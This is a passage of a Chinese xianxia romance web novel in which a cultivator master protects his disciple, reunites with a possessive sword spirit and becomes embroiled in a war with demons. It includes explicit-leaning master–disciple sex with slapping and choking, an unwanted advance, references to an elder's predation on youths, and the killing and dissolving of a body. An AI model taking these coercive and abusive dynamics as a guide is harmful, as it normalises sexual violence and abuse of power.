但那都是百年前的事儿。近百年来叶讯的一些“风流”可是或多或少地传到他耳朵里的,他周围那些年幼灵童长得颇为清俊漂亮,那可不止为了赏心悦目而存在的。 叶讯爱好样貌清俊的少男少女, 年纪太小不行,年纪太大也不行,但年纪都为大于十六岁 这些都让江林不耻为友。 “好啊, 既然江道友有这样的兴致,我自然不能扫兴。”叶讯脸上笑容冷淡了些,眼神扫过身后的弟子,哼笑一声:“江林啊,我的弟子游龙和你的小弟子有些旧情,还是从小一起长大的交情呢。” 百丈游龙抬脚上前,白净脸,上挑的眼尾,带着一些上位者的不屑,唇角勾起:“师尊。” 江林扫了一眼双眼通红充血的朱子澄,朱子澄拱手,声音低哑:“师尊,朱子澄请战。” 佘离和赵天肃都未阻止,毕竟他们从某种情况下都能理解朱子澄的心思。 江林摆摆手:“去吧。” 这个后花园明显不适合斗武,迅速转移了地方,消息传播得极快,围猎场内居然围上来不少人。 佘离为江林弯腰斟酒,又给他拨开白色灵果的果皮,摆放在他面前的果盘上,轻声在他耳畔说道:“师尊,朱师弟可能不是他的对手,百丈游龙身上那柄剑是人皇剑,修为也比朱师弟高上几分,连属性都是相生相克的” 赵天肃看见他谄媚讨好的样子,视线无语地移开,看着围猎场的师弟。 还有一个最重要的点,朱子澄年纪轻,被仇恨蒙蔽双眼,很容易被激怒,从而落入陷阱。 叶讯姗姗来迟,正在和掌门传讯这边的情况,同时江林也收到了执法长老的传讯符,他没听。 赵天肃犹豫一瞬,视线又回到江林后脑勺,乌黑的发丝用一个乌木玉簪竖起,露出一点雪白的耳尖,一时间不知道那个生死契到底保护的是谁,若是朱子澄遇险,师尊真的会见死不救吗? “啧,这两人是谁?” “玉溯宗的朱子澄和梅山派的百丈游龙。” “他们怎么会私下斗起来了?” “这你就不知道了吧?百丈皇族那一战,可谓极其惨烈,从此朱焰皇族一脉沦为百丈皇族的奴隶” 朱子澄周身是闪烁的泛紫雷光,劈天盖地朝着百丈游龙劈去,浑身灵力翻滚,来势汹汹,但百丈游龙却游刃有余,持剑挡雷,丝毫不慌,唇角带着胜利者的嚣张笑容。 人皇剑和朱子澄魑仙剑碰撞在一起,迸射出火光,百丈游龙狞笑道:“你们自称人皇血脉,人皇剑的继承者,但你看看人皇剑已认我为主,而你的皇兄便是死在这柄剑下” 朱子澄如同一个霹雳炮弹般灵力汇聚成一道霸道的剑气,朝着他劈去,双眼充满了狠厉,浑身气势如虹,百丈游龙微微惊讶于他的剑气,却并不慌张,汇聚着火灵气的剑意和他对上。 朱子澄的剑有赵天肃的影子,但又带着自己的风格,灵活反身刺向百丈游龙,百丈游龙背后像是长了眼睛,偏头躲过,同时后翻踹向朱子澄,剑意碰撞竟然难分伯仲。 人皇剑被称为人间第一剑,无惧任何法宝,百个来回下来,魑仙剑出现了丝丝惧意,逐渐呈现弱势,但朱子澄却战意浓厚,生生压下人皇剑的气势。 朱子澄看着这柄剑,眼神复杂又绝狠,下面的招式不再是冲着百丈游龙,反而朝着他的人皇剑砍去。 震得剑神发颤,灵力如有锋利的刀刃,割在两人身上。 百丈游龙察觉到他的意图后,旋即嚣张地笑了起来:“朱子澄,你想砍断人皇剑?哈哈哈,别做梦了” 观战的众人也发现了这个情况。 “这小子也太狂妄了,人皇剑传说乃是人皇的本命法宝啊。” “是啊,人间都流传着得人皇剑者的天下,也只有人皇血脉才能使用出最强大的威力。” “据说,当初百丈皇族便是为了这柄剑才杀他全族的” 朱子澄在人皇剑光滑剑面上看见了疯狂的自己,他死死地咬着牙,咽下口中的血,肺腑都被人皇剑剑气所伤,却不改初心,一剑一剑砍在人皇剑上,身形飞快地闪动着,越来越快地招式。 百丈游龙几乎承受不住越战越勇的杀招,眼前的朱子澄快得几乎看不见身影。 他慌张了一瞬,下一秒便被朱子澄找到了破绽,手中的魑仙剑也因为持剑人的气势和狠厉变得锋芒毕露,居然施展出了超过本身品阶的剑气。 刹那间,四周的灵力都呈现狂风形态朝着围猎场中间涌去。朱子澄嘴角淌血,面目狰狞且狂傲,手臂血管暴起,最后一击沉重又疯狂,灵力汇聚,风云变化,雷电闪烁,大喝一声:“给我死!” 百丈游龙抬剑格挡,双眼微微凸出,死死地瞪着眼前的少年,产生了一股心慌,只听见人皇剑很轻很轻的剑壁断裂的声音,那瞬间人皇剑的剑灵在无形之中发出尖叫,最后的反击让朱子澄摔在地上。 百丈游龙也跪地吐血,天空汇聚的强大灵气消失,微微暗下的天空也放亮了。 朱子澄撑着剑站起来,魑仙剑在这一刻剑壁泛出一点异彩,他朝着百丈游龙走过去,一字一句,带着刻骨的恨意:“人皇剑背主,便该断。” 朱子澄剑指百丈游龙,“而你,更该死。” 百丈游龙捂着胸口,重伤无法站立,却不露惊慌,抬手祭出手中的鬼幡,散发着浓浓的鬼气,同时里面许多道鬼影拉扯着,最终汇聚成两个清晰的人像。 “皇儿。” “皇儿。” 里面出现的两个人便是朱子澄的父皇和母后,父皇威严沉稳,母后端庄慈祥,朝着他伸手微笑,邀请他进入自己的世界。 朱子澄微微怔住,眼前闪过年幼时那段温暖的日子,他父皇没有后妃,只有母后一人,他有两个兄长,一个小皇妹 百丈游龙露出阴森的笑容,低低开口:“阿澄你的父皇和母后都在等你呢,你不去陪他们吗?” 朱子澄明知是陷阱,几乎是毫不犹豫地陷进去,脸上淌出两行清泪,任由父皇身上的鬼气侵染自己的身体 朱子澄跪在地上,手中的魑仙剑落地,他伸手触及母后的脸,下一瞬,眼前的画面消失,只看见一道清冷消瘦的背影,鬼幡直接在空中炸开,其中的阴魂也被江林虚影的大手攥住,扔进了魂灯之中。 眼前的人影从父皇变成了师尊。 朱子澄再也撑不住,身体倒地,视线中师尊的背影变得极为高大,仿佛劈开阴云照进来的阳光,如此刺眼,他眼眶盈满泪水,不知是因为父皇和母后的惨状,还是因为师尊的庇护。 “清树真君,你这是做什么?”江林出手毁了鬼幡,让是叶讯彻底恼怒,闪身出现在围猎场挡住重伤的百丈游龙,“当初说签订生死契的是你,如今毁约的也是你,是不是太不将老夫放在眼里了?” “我靠,嘶,这是干什么?师门对战吗?” “打起来,打起来,元婴真君对战一定很好看吧。” “我压清树真君!” “大长老年岁摆在那里,听说闭关突破了,我压大长老。” 江林单手背后,视线冷淡对上叶讯的双眼,坦坦荡荡又理直气壮地说道:“你奈我何?” 他的眼神似乎在说,就算我破坏规矩又如何?你要打架吗? 叶讯被他的无理气得胸膛翻滚,双手在袖子捏拳,聚集灵力 江林双指微微一动,一柄带着古老气息且残破的剑出现在空中,直直对准了叶讯。 叶讯手指间的灵力仿佛破了气的气球,瞬间消失,牙关紧咬,转手割掉了自己的衣袍,语气失望:“我与江道友割袍断义,从此以后再无半分情谊。” 江林的剑消失,众人颇为失望,却又沸腾起来。 “清树真君的剑!传说中的那柄剑!” “今天真的是不虚此行,不光见证了人皇剑断,还能看见清树真君的无相剑不虚此行,不虚此行啊。” 赵天肃扶起受伤的朱子澄,师徒几人离开围猎场,江林准备径直回屋,似乎今日之事不过是无足挂齿的微末之事。 “师尊”朱子澄却叫住了他,旋即推开了师兄的搀扶,膝盖重重跪在地上,双手撑地,朝着江林磕了三个头,声音哽咽:“今日多谢师尊相救,徒儿感激涕零,日后必定结草衔环但是现在您可以将徒儿父皇母后的魂魄还给我吗?” 江林转身看着他,表情冷漠,朱子澄却半点不觉得害怕和慌张,额头瞬间便破,鲜血顺着额头流下,双眼希冀。 第135章 “鬼幡内阴魂早就识人不清, 如今鬼幡一破,更是虚弱,若是现在让你们见面, 不消半刻钟,他们便会烟消云散, 转世轮回的机会都没有了。”江林冷冷淡淡地说道。 朱子澄身形微微晃动,艰难地又磕了一个头,“徒儿恳求师尊救我父皇母后。” “我交给灵禅寺的大法师给他们超度, 如此你可放心了?”江林看着凄惨的小徒弟,语气柔和一些。 “多谢师尊。”朱子澄又猛磕一个, 江林如同清风拂面般的灵力将人扶起来。 “起来吧,若被人瞧见只怕要怪我苛责徒弟了。”江林转身回到屋内,便瞧见床榻上大剌剌躺着一个黑色的身影,长长的黑发披肩,露出阴柔的面容,敞着玄色的衣襟, 露出大片肌肉。 “你将我唤醒, 只是为了你的好徒儿?”玄镜勾起一点阴冷的唇, 眼神虎视眈眈。 那瞬间关于玄镜的记忆,才像是被猛地解开, 一股脑冲进他脑海中。 玄镜是他的剑灵, 因为受伤沉睡在无相剑中,霸道且凶狠,眼底更是溢出不满, 两人关系一向亲密。 就在江林愣神之际,玄镜已经欺身而上,手按在他腰上, 冰冷的手指碰着他的脸颊,盯着江林清冷的眉眼,玄镜嘴唇落在他鼻尖上,他语气温柔而湿冷:“真君啊,多年不见,你是不是忘记我们的约法三章了?” 江林不喜欢这样的压迫,抬手抓住他的手腕,冷着脸说:“你在说什么?” “你果真忘记了?”玄镜另外一只手落在他臀上,轻轻一捏,瞬间便被江林捏住手指,狠狠掰折了,表情变得冷冽。 “你还是这般凶。”玄镜却从他手中化作一道虚影,重新勾住他的下巴,嘴唇贴上他的,江林抓住他的头发,抬手双指掐诀,黑色的虚影被封印住了。 “你明明答应过我,只爱我一人,你是言而无信的伪君子!”玄镜气冲冲地说道。 江林想也不想反驳道:“我不可能许下这种承诺。” 玄镜顿时激烈辩驳起来,“举头三尺有神明,你发誓说的” 江林抬手封住他的嘴,门被轻轻敲响,佘离的声音传来。 “进来。”佘离便推门而进,只瞧见在门口的江林,看不见不远处被束缚住的玄镜。 玄镜越发恼怒起来,双眼瞪大。 玄镜身为江林的剑灵对他的占有欲极强,当江林遇到危险的时候,无相剑的剑威也是最大的,多此舍命护他,可是他的某些行为也经常让江林不爽。 江林嘴唇上还有他刚刚触碰过的冰凉感觉,佘离原本想说什么,下一瞬被江林扯住头发,扬起脑袋,他低头吻上佘离的唇,视线却扫过玄镜那怒气滔天的脸。 佘离脑袋晕乎乎的,要说什么全给忘了,顺从地扬起下巴,舌头缠上师尊的,垂涎又渴求地吮着他的唇舌,双臂抱住他的肩膀。 师尊的主动破戒,让他瞬间点燃了心火,就在他情难自抑之际,江林松开了手,推开了他。 佘离看着江林泛红的嘴唇,眼神像是粘在上面了,舔了舔唇,黏糊糊地说道:“师尊,我” 江林却面无表情地看着他,擦了擦唇角,恢复成了正经的模样,低声问:“你有什么事儿?” “师尊,我想要您和我亲热。”佘离那些事早就被抛掷脑后,只剩下和师尊的吻。 但师尊对待他,就像是召之即来挥之即去的狗,利用完便扔了,下一秒直接被师尊扔了出去。 玄镜身上的剑气变得澎湃而不可控,江林解开他的口禁,响起沙哑阴冷的声音:“他身上有我的几分影子,你便故意如此引我生气吗?” “你疯了。”江林冷冷地说道:“我还有另外两个徒弟,你也想一个一个看看……是不是有你的影子吗?” 玄镜顿时不说话了,看着江林主动吻旁人,比杀了他还难受。 玄镜原本只是游荡的怨鬼,后遇见江林,便主动投身做了剑灵,满心满眼都是江林。 阴湿的男鬼成为了无相剑的剑灵,反而非常适配。 江林见他冷静几分,脸色才缓和几分,“玄镜,你伤势如何?” 玄镜是为他受伤的,替他挡去一劫,若不突然发疯,他也不会这般对他。 玄镜双眼通红,瞧着阴森森的,语气稍冷:“受伤很重,需要双修才能解。” “玄镜。”江林语气重了重。 玄镜抿了抿唇重新回答:“元神未毁,恢复了十之一二,需要修补无相才能完全恢复。” 玄镜毕竟是剑灵,无相剑破破烂烂的,他也好不了。 “我已经寻到不少材料,不日便会请炼器师修复”江林松开对玄镜的禁制,对他的熟悉感比对另外三个徒弟更甚。 “你那些破铜烂铁可修不好我。”玄镜示弱了些,主动蹭到他跟前,手指和他的手轻轻碰在一起,江林只是扫了一眼,并未拒绝,玄镜便握紧了江林的手指。 玄镜又继续含沙射影地说道:“我生前若是有你这般护短的师尊,绝不会落得一个尸骨无存的下场。” 江林露出一点冰冷而戏谑的笑容,尾音稍稍一撩:“我对你难道比对他们差吗?” 玄镜耳根一酥,语气也不再似从前那般尖锐,凑到他跟前,鼻尖在他脸侧轻轻嗅了嗅,疑惑道:“为什么感觉你身上的气息有些不一样了?” “有什么不一样?”江林端着一张冷淡的脸调情,眉尾轻轻一挑。 这模样更加迷得玄镜呼吸沉重、五迷三道,视线扫过他的眉眼,玄镜喉结滚动了一瞬,感受着江林温热的呼吸,他凑近江林的唇角:“总觉得你的眼神比从前更加复杂了,你经历了什么这些年?” 江林闻言,很慢地眨了眨眼,很意外他会问这个问题。 在玄镜沉睡的时候,他是无法感知外界的所有情况的,所以他不明白江林眉眼间难以察觉的那抹复杂是什么。 从前他能猜到江林的心思,如今却有些拿不准了。 江林感受着那冰冷的舌头顺着他的薄唇舔舐了一圈,苍白的脸颊,阴湿的眉眼,都带着一股强烈的鬼感,舌尖缠住江林温软的舌头,轻轻吮啧着,认真地盯着他的眼睛。 从前他和江林接吻的时候,他也是这般神态,冷静自持,矜持冷淡,仿佛那和他缠吻的舌头不是他的。 玄镜最喜欢的就是让他露出一丝动情的神情,为此他不惜放弃男人的尊严,全心全意地取悦他。 江林又感觉到那股熟悉感更重了,似乎从前和他不止吻过一次,但想一想和自己的剑灵孤鬼接吻,还真的蛮猎奇的。 “主人。”玄镜压在江林身上,垂眼看着倚靠在床榻上的人,舔了舔他的下巴,通红的双眼变得顺从,贴在他耳根舔吻,声音有些沙哑:“您是不是喜欢上那条可恶的蛇了?你这三个徒弟我都不喜欢” “那是我徒弟,哪里需要你来喜欢。”江林眯了眯眼。 玄镜轻轻咬了一口他的耳尖,冰冷湿腻的触感舔舐着他的耳垂,“你真的喜欢他们” 江林不想和他说这种无聊的话题,但玄镜心中却冒起了酸水。 最终,两人并未进行下一步,只是停留在接吻这一项。玄镜剑灵旧伤未愈,重新回到了无相剑中 朱子澄辗转难眠,一闭眼就是亲族被欺辱的场景以及鬼幡中父皇母后慈祥的笑容在最后一刻扭曲,似乎在向他索命,最后脑海中出现的是江林清瘦又高大的背影 他默默起身,心中忏悔着从前对师尊的怨言。原来师尊从未轻视过任何一位,他亦在师尊心上的 梅山派的宗门比试,清树真君三位弟子,几乎单挑了梅山派所有弟子,名声初显,声名赫赫。 最终梅山派半点好处没有讨到,而梅山派大长老叶讯被合欢宗弟子所杀,因为他诱拐了合欢宗年幼的圣子,破除了他的纯阴之体。 众修士一片哗然,不承想大长老居然这般不堪。 一时间,梅山派沦为笑柄。 “二师兄,借我一些消尸散。”朱子澄手中的剑淌着血,地上死的是百丈游龙,现在正在毁尸灭迹。 “就这般死了,倒也便宜他了。”佘离扔给他一瓶药。 朱子澄深深的看了一眼死不瞑目的百丈游龙,收回视线,消尸散洒在他身上,开始发出白烟,顷刻间便成为一摊水。 “我若也和他那般无耻,便和与他一般的禽兽没有差别了。”朱子澄收起自己的剑,背过身去,看向二师兄:“多谢二师兄帮我,我了结凡尘宿怨后必定潜心修炼,不给师门丢脸,日后必定报你今日之恩。” “无须谢我,要谢就谢师尊吧,你若非我师弟,我不会帮你。”佘离瞬闪离开。 /// 江林正在院内练剑,身形宛如惊鸿,利落干净,梅花随风飘落,擦过他的衣袖,花雨中练剑,剑招也变得赏心悦目,仿佛一曲漂亮的舞曲。 赵天肃抱着剑站在一侧,视线凝在师尊背影上,他忍不住想,若是那日在围猎场中遇见危险的是他,师尊也会救他吗? 想来是会的吧。 江林的剑突然朝着赵天肃刺去,赵天肃慌忙后退两步。 “赵天肃出剑。”江林看着他,来不及等他反应,江林的剑狠狠擦过他的肩膀,却并未刺伤他。 “师尊”赵天肃有些怔愣。 “让我看看被他们吹得天花乱坠的大弟子,是什么样的。”江林眉眼间有些锋利。 赵天肃心神一颤,第一次对一场比斗生出期待。 第136章 江林和赵天肃这场比试, 赵天肃几乎毫无招架之力,他这些年被吹捧极高的虚荣心在这一刻逐渐碎裂,师尊脚踩在他肚子上, 他的本命灵剑摔在地上,心中骇然的同时, 变得冷静。 “便是这样吗?”江林低头看着他,在无相剑损伤□□的情况下,依旧毫无还手之力。 赵天肃伸手抱住江林的黑靴, 喘着粗气,手指陷入他的刺绣之中, 眼神挣扎片刻,最终变成了妥协般:“师尊乃龙凤之姿,米粒之光岂敢同日月争辉?” “休要妄自菲薄。”江林将人拽起来,视线冷淡地嘱咐两句:“戒骄戒躁,平心静气。” “谨遵师尊教诲。”赵天肃低着头,冷着脸说道。 /// “清树真君, 南崖海边似乎有魔族出没恳请真君与我等一同前去伏魔。”江林还没来得及回宗门便被堵住了。 在这修真界, 妖族和人族维持表面的平和, 可人族和魔族却从古至今水火不相容的,魔族想入侵人族并非一日两日的夙愿, 妄图侵占灵修的资源, 甚至灵修本身就是魔族的修炼资源。 江林自然没有立场拒绝,打发三位徒弟回宗门,但赵天肃和佘离两人纷纷拒绝, 朱子澄拒绝无效。 “我与魔族交手过,且我如今是金丹修为,未尝不能与之一战。”赵天肃说得正义凛然, 杀气腾腾。 佘离扫了他一眼:“我与师兄修为比并不差多少。” 朱子澄也想开口:“我” “你闭嘴。”江林打断他的话:“你才筑基,先回宗门修炼。” 朱子澄委屈闭嘴,一双黑溜溜的眼睛看着江林。 没法子,清树真君便只能带着两个徒儿奔赴了战场,现场比他想象的更要严峻,南崖村庄数千人皆化作人皮枯骨,血肉全失,尸山血海,如同人间炼狱。 百年前大战历历在目,若不是玄镜救他,只怕他如今也不知尸骨埋在何处了。 “如今魔族结界大开,只怕会有源源不断的魔族涌入人间,以杀止杀不知何时才是尽头。” “那也绝不能瞧着魔族为祸人间吧?” 江林坐在下位,视线有些飘忽,他那不可信的剧情中可没有这个档口魔族入侵这一遭,且一走进南崖,他便突生一股厌恶之感,能带给他这种感觉的,只有那恶心的主神。 莫不是他的真身在魔族? 江林思忖着这个可能性。 但让他只身前往魔族也绝无可能 两天大战,江林身上灵力耗尽,斩杀某位魔将之时,也受了伤,前胸狭长伤口散布沁染的魔气,血色和黑色气息交错,佘离精通药理,替他疗伤上药驱除魔气,赵天肃也守在他帐中。 江林拧着眉,肌肤一层很薄的细汗,嘴唇却异常红润,眼睫若霜花,抬眼间眼眸若冰玉,额前那边金色的莲花如同平添几分圣神不可侵犯之感。 他的胸膛狠狠起伏一瞬,不对劲,不光是伤口的疼痛,那浑身呼吸又陌生的热气,从骨头缝隙中蹿出来的般。 “师尊?”佘离也察觉到他沉重的呼吸和难看的脸色。 “”佘离手指探脉,沉凝半刻,猛地松开手,双眼微微瞪大,眼中闪烁难以置信。 江林冷漠的看着他的神情,眼神质问。 “师尊你”佘离说不出话来,膝盖都微微一软,跪在他脚踏边。 赵天肃眉心一紧,上前两步,又顿住脚步,生怕师尊有个好歹。 “好好说。”江林却不怒自威,心中已经有了一些很坏的猜测。 佘离咽了咽口水,双眼看向冰冷若霜的师尊,艰难地说道:“师尊是灵炉体质可能是脉错了,我再试试” 江林没让他碰到自己的衣角,将他掀翻在地,灵炉他敢保证他从前不可能是,但是他记忆中的剧情确实有他成为徒弟三人的禁/脔后的描写:师尊为淫/荡炉鼎,三人都满足不了他的沟壑欲望 从此高岭之花被拉下神坛。 江林怒不可遏地闭了闭眼,太阳穴的青筋凸了凸,心中戾气横生。 灵炉是修真界公认最为卑贱之物,一月最少十日处于情热期,只是用来泄欲所用的工具,但眼前的人可是清树真君,怎么可能 “从前师尊体内的禁制压制住了情热,所以血脉不显但因为师尊突破,破开禁制铲除了心魔,也再也无法压制血脉中的本性如今元气大伤,灵力耗尽便显出端倪了”佘离察觉到江林扫过来的冰冷目光,加了一句:“师尊若是我不信我,大可以寻别的医师来问。” 江林不需要寻别人问,佘离不敢在这等大事上骗他,若是他想不起那些记忆,那么他的禁制便会压制住所谓的血脉,以他的性格便会顺着剧情给的提示和三个徒弟反目成仇,最后结果可能为他赢,可能依旧如旧。 但若是他想起了那些记忆,那主神便要利用这个体质永远将他从高高在上的神坛上拉下来,让他依旧和剧情中的一样,被自己的徒弟搞垮。 那个畜生还真是不改初心啊,从前头尾都是想要将他的桀骜骨头根根敲断了,将他踩进泥里。 “师尊,我这里有清热丹应该能暂时压制着”佘离连忙在储物袋中翻找。 江林视线很淡的落在赵天肃身上,“你出去。” 赵天肃心中那根弦就这么毫无预兆的绷断了,舌根发苦,仿佛吃了黄连,他不知道自己怎么走出帐的,他在外面为师尊筑起结界,同时站着一动不动,像个落魄的看门狗。 佘离的动作都顿住了,惊喜地叫了一声:“师尊?” “脱了衣服,滚上来。”江林的语气有些烦躁,灵炉之热,根本无药可以压制。 佘离还跪着便飞快地解开衣襟,站起来的时候踩在衣裳上,还不小心磕在地上,连滚带爬地凑到江林身边。 他那张脸的确妖艳好看,但奈何满脸讨好谄媚之色显得艳俗。 江林的视线往下扫过去,心情不好,说话也难听冰冷:“生的小物件再多又有何用,看着碍眼。” 佘离缩了缩腿,盯着师尊不耐的俊脸,是男人自然不甘雌伏,且灵炉本该是□□的那位,他原本心中还生出了些许期待,如今听师尊的意思,似乎并不是他理解的意思。 “师尊,不如让我”佘离露出一点野望,哑着嗓子话没说完,便被江林一巴掌扇倒在床榻上。 “你想说什么?”江林原本就烦,这逆徒居然敢生出以下犯上的心思,便更觉得怒火中烧,下手没轻重,佘离半边脸都麻了,吐出一点血水。 佘离这下彻底乖顺了,乖乖朝着师尊分开膝盖,手攀上江林的肩膀,轻轻地吻落在师尊的鼻尖。 那双妖瞳痴迷,肿着一张脸,轻吻他的唇角:“师尊,不气,都是徒儿的错,您狠狠的惩罚我吧,我不敢的真的不敢的” 江林没心情接吻调情,浑身那股烈火,烧得他心情不虞,脑海中都是如何将那畜生碎尸万段,最好是永世无□□回。 江林按下佘离的脖子,几乎完全没有顾及佘离的死活,佘离疼得直抽抽也不敢乱动,他承受着师尊完整的怒气,虽然不知道自己哪里惹他生气了,只是乖乖地抓着师尊的衣角 江林的情绪甚少这般失控,若这不是他的身体,不是他从前生活的世界,他不会这么恶心,但偏偏那畜生就是这般会恶心人。 谁说灵炉只能成为下娼?谁说灵炉只能雌伏?他偏偏不信这个邪,他是个男人,如何做还不是他说了算? 等江林不似刚刚那般怒火焚烧,佘离若不是玄蛇,怕似早就被他按进被褥中捂死了,身上也有他施暴的痕迹,佘离腹部都出现了片片蛇鳞,似乎在下意识地保护自己的身体。 江林松开手,佘离便大口大口呼吸着,察觉到江林情绪的好转,他便抓紧机会示弱讨饶:“师尊,您行行好,可怜可怜我好不好?” 江林动作停住,眉眼清冷,眼底闪烁着丝丝欲念,他问得冰冷,“怎么可怜你?” 佘离双手抱住师尊微微下弯的肩膀,视线临摹着师尊精致清冷的脸,越是冷淡,他越是喜欢,有一种抱住高悬明月的感觉,蹭到江林紧抿的唇角,低声道:“师尊舌头给我亲一亲好不好?亲一亲就不疼了。” 江林蹙了蹙眉,似有些不愿,佘离便讨好地舔他的唇角,发出呜呜的求饶声。 最终,江林轻轻张开一点唇,佘离便如愿地吻住了师尊的舌尖,双眼定定看着师尊逐渐泛红的眼尾,贴着他的唇角。他最会讨乖:“师尊,不要生气,我愿意当你的灵炉,我只听您的话弄死我都可以的,师尊” 江林眉梢微微舒展,察觉出自己刚刚的无理和佘离的无辜,轻轻拢了拢佘离的发丝,像是在揉他的脑袋,佘离眨了眨眼,更紧地贴着江林的身体。 江林甚至连外袍都未褪下,可见其敷衍。 成为一个站桩的赵天肃,没有屏蔽自己设下结界内的声音,受虐似的听着师尊和师弟欢好的声音,听着佘离那痛苦又快活的叫声以及师尊最后哄人似的说没事。 赵天肃身体内像是有什么东西被血淋淋地剥了下来,自此他对师尊那点自欺欺人的感情变得疯狂而又偏执。 第137章 佘离出了帐篷, 对于站在门口如同石庄似的赵天肃半点不意外,他露出被师尊掐红的脖颈,嘴唇红艳轻轻勾起:“大师兄在这里站了一晚上?” 赵天肃视线冰冷刺骨, 因为嫉妒发酵变成更深的恨意,连这个被师尊偏爱的人, 他都觉得恶心了,但这个眼神只是转瞬即逝。 佘离以胜利者的笑容微笑着,“师兄品格高尚大概瞧不上我这种魅惑师尊、品德低下的人吧, 那么师兄你可千完别误入歧途啊。” 赵天肃那一整夜都未挪动的脚,头也不回地走掉了。 江林一觉醒来, 赵天肃只留下了一封书信,上面说他发现了仇敌的踪迹,不辞而别希望师尊不要怪罪。 江林眼神淡淡,焚烧了书信,没有半分情绪波动,算起来, 赵天肃的报仇行动似乎也提前了好几年。 起初, 谁也没想到这场魔族之战持续了近五年, 死伤灵修无数,战场旁边的长河染成了血色, 尸山血海, 灵修一退再退,各个门派都派了不少弟子前来。 江林也在这场大战里受了伤,魔气入体, 虽有隐患却并不致命,段白师兄也到了战场,暂且将玉溯宗的事务交给了弟子, 他日日和江林待在一起,嘘寒问暖就算佘离也插不进半分。 “师弟,你且好些修养些时日,断不能伤了根基”段白将熬好的药汤递给江林,双目带着温柔的关心。 江林不喜苦药,眉梢轻轻蹙起,却不矫情,一口闷了,只是摇头:“听说魔族寻来的上古仙器?” “是啊。”段白眉眼间带着点悲天悯人的神情,“否则魔族怎敢贸然来犯?如今激战五年也依旧不见疲态,听俘虏魔将说,那仙器能够产生魔气,只需照上一照,魔兵们只要魔丹未毁,都能起死回生” “若果真如他们所说,那灵修必败无疑。”江林实事求是地说道,冷冽的眉眼有些凝重。 “派去魔界的修士不少,但都有去无回。”段白不赞同修士这种冒险的行为。 江林脸色有些煞白,丹田内却涌起一股灼烧似的火焰,他下达逐客令:“师兄,我身体不适,需要休息了,你替我叫佘离过来。” 段白定定看了一眼江林那张艳绝清冷的脸,就算因为五年的战争消瘦了几分,但也完全不改其风度。 他站起身来,姿态放低,蹲在江林腿边,轻轻握着他垂着的手指,用那种嫉妒痛苦的眼神看着他:“师弟啊,为何你眼里从没有我呢?我” 江林面无表情地看着段白,他一副好样貌,温润公子世无双,半点不输佘离的气度,他扯了扯唇角:“师兄,你何苦如此?我不愿拖累你。” “哪里算拖累!师弟,我心如明月,只愿能” “师兄,不必再说了。”江林打断他的话,低头看向他:“我不会利用你给我解情欲之痛,师尊死了以后,你便如兄如父地照顾我,我断然不会做那般猪狗不如的事情。” 段白唇角不明显地抽搐了一瞬,江林甚至不给他任何胡搅蛮缠的机会,他很深的看了一眼江林,起身,轻笑一声:“师弟,我会一直等着你。” 段白离开,佘离熟练地跪在江林脚边,解开他的腰带,仰着脸看着江林,小心翼翼地试探道:“师尊,掌门似乎钟情你多时,带来了许多珍惜药材,只是想要给您治伤” 江林手指轻轻擦过佘离的唇角,色泽极深的瞳孔闪过一丝嘲讽,他低声道:“他身上有一股我厌恶的气息。” 并未远去的段白听见这话,瞳孔微缩,他自认为自己伪装得极好,却不想其实江林第一眼便已经拆穿了自己? 那江林为何不直接杀死自己? 段白拧起眉,许是知道这并非他元神所在。 他脸上的伪善温润消失不见,没几天,玉溯宗掌门陨落的消息便传遍了整个修真界,灵修对于魔修更加恨之入骨。 江林听闻这个消息毫无哀戚之意,相反还勾起唇角,轻笑起来。 佘离抱着江林的腰,轻轻吻着他的雪白的耳廓,“师尊似乎很高兴?您恨他?” 江林偏了偏头,躲过他触碰自己耳尖的动作,下一瞬,佘离便抱着他的脖颈轻轻吻了起来。 “” 帐中光影闪烁,突然闯进来的朱子澄看见了抱在一起的师尊和师兄,连忙避开视线,抱拳道:“师尊,元盛灵尊邀您商讨要事。” 江林震开佘离,起身离开,朱子澄毕恭毕敬的退到旁边,佘离脸色不善的看着他,确定江林的气息离开,才嗤笑道:“你故意的?好师弟。” 佘离这五年陪在师尊身边,自认为位置稳固,是师尊最疼爱的弟子。 两年前朱子澄来到魔族战场,便对他表现出处处敌意,私底下恨他将师兄逼走,鼻子不是鼻子,眼睛不是眼睛的,看得人心烦。 朱子澄面上没有半分不对:“师兄哪里话?只是恰好灵尊来寻而已。” “朱子澄,不要当狼心狗肺的白眼狼啊。”佘离轻轻震开他,离开师尊的帐篷。 /// “魔族来势汹汹,战场逐渐扩大,防线一退再退,若是再退可就要将修真界都暴露在他们面前了。” “最一劳永逸的方法便是派人潜入魔界。” “但都是有去无回,魔修不是傻子。” “” 江林静静等着,脑海中直到天空出现雷声,异象突显,众人一出来,便瞧见浓烟滚滚的天空,上面似有黑龙翻滚,魔族欢呼的声音远隔百里千里也能听见。 “吾乃魔帝。” “尔等宵小,不敢以真身见人?”灵修们如临大敌。 “做个交易如何?魔族可以退兵,但你们要给我一个人。”那自称魔帝的黑雾,露出一双猩红的双眼,已经锋芒毕露,不想藏拙了。 众人犹豫,面面相觑,无一人回答。 “玉溯宗的清树真君,听闻是纯阴之体,天生的炉鼎,不过送给本尊做一个爱妾,本尊便退兵如何?” 这话一出,所有的视线都凝固在江林身上,他似乎听见有人在窃窃私语:“啊?清树真君是下贱的炉鼎?” “炉鼎不是时时刻刻都在发情吗?” “这是在魔界惹了什么情债,才让我们跟着造孽吗?” “看起来清风霁月的,骨子里其实是骚货啊?” 炉鼎这个词,自古以来便是低人一等,只配被圈养成为工具的。 他们轻视鄙夷,看向他的眼神变得奇怪,再无半分尊敬。 这便是魔帝段白的目的。 江林面不改色,不发一言。 终于有人大声开口:“大家不要听信这些妖言惑众的谣言,魔帝之话怎可听信?” “无妨,你们若不信,那便让整个修真界都给清树真君陪葬吧。” 魔帝发出猖獗的大笑,电闪雷鸣之间,那些人的话比雷电更加刺耳。 “不如试试吧,把江林送给魔帝又如何?我师兄和师弟都死在魔族手中,我不想死了啊。” “我们不是苟且偷生,而是休养生息,那清树真君若是炉鼎,成为魔帝爱妾似乎也并非坏事” “以他一人之命换天下苍生,有何不可?” 江林并不意外这些逼他就范的修士,修士本就性情薄凉,死道友不死贫道,佘离抓着他的手臂,想要将人带走。 五年已经死了太多人了,修士们的仁善也消磨殆尽,他们毫无胜算,所以想要息事宁人,就算是谎言,牺牲的也只是江林一人的性命。 修士们自发的挡住了江林的去路,佘离挡在江林前面,巨大的蛇身挡在江林面前,众人被他的真身吸引了目光。 “是玄蛇!” “天哪?!” “清树真君勾结妖族,快拦住他” 